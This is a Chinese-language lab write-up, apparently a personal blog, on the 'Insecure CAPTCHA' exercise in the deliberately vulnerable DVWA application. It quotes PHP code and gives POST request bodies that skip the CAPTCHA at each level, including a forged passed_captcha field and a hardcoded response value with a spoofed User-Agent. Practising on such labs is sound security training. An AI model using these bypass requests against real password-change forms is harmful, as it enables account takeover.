图片补上

Insecure-CAPTCHA

原理:绕过条件,不进行CAPTCHA也能操作

Low

思考:审计时要注意return、exit等函数。是需要通过的关卡

attackstep=2&password_new=1&password_conf=1&Change=Change

AUTOCOMPLETE="off":这个属性告诉浏览器不要自动填充或建议以前输入过的值。这对于密码输入框特别重要,以提高安全性。

ic-l

1
2
3
4
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);

**recaptcha_check_answer**:这是一个函数,通常来自Google reCAPTCHA库,用于验证reCAPTCHA响应。

**$_DVWA['recaptcha_private_key']**:这是从$_DVWA数组中获取的reCAPTCHA私钥。私钥是用于与Google的reCAPTCHA服务进行通信的密钥。

**$_POST['g-recaptcha-response']**:这是从表单提交的数据中获取的reCAPTCHA响应。'g-recaptcha-response'是reCAPTCHA在表单提交时生成的字段,包含用户的验证结果。

ic-l2

Medium

add: $_POST[ 'passed_captcha' ] 在服务器端

attack:step=2&password_new=1&password_conf=1&Change=Change&passed_captcha=true

ic-m

High

复现题目累的慌,麻溜地滚回来写写dvwa。(做题,复现复现,就是要把环境搭好,简陋一点也无所谓.

add:

1
2
3
4
$resp ||(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)

ic-h

attack:step=1&password_new=1&password_conf=1&user_token=671b4d500a07d135079c07cb2890ffe8&Change=Change&g-recaptcha-response=hidd3n_valu3

USER_AGENT: reCAPTCHA User-Agent=reCAPTCHA

impossible

add

  1. checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

  2. current_password

  3. 缩小条件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    $resp = recaptcha_check_answer(
    $_DVWA[ 'recaptcha_private_key' ],
    $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
    // What happens when the CAPTCHA was entered incorrectly
    echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
    $hide_form = false;
    }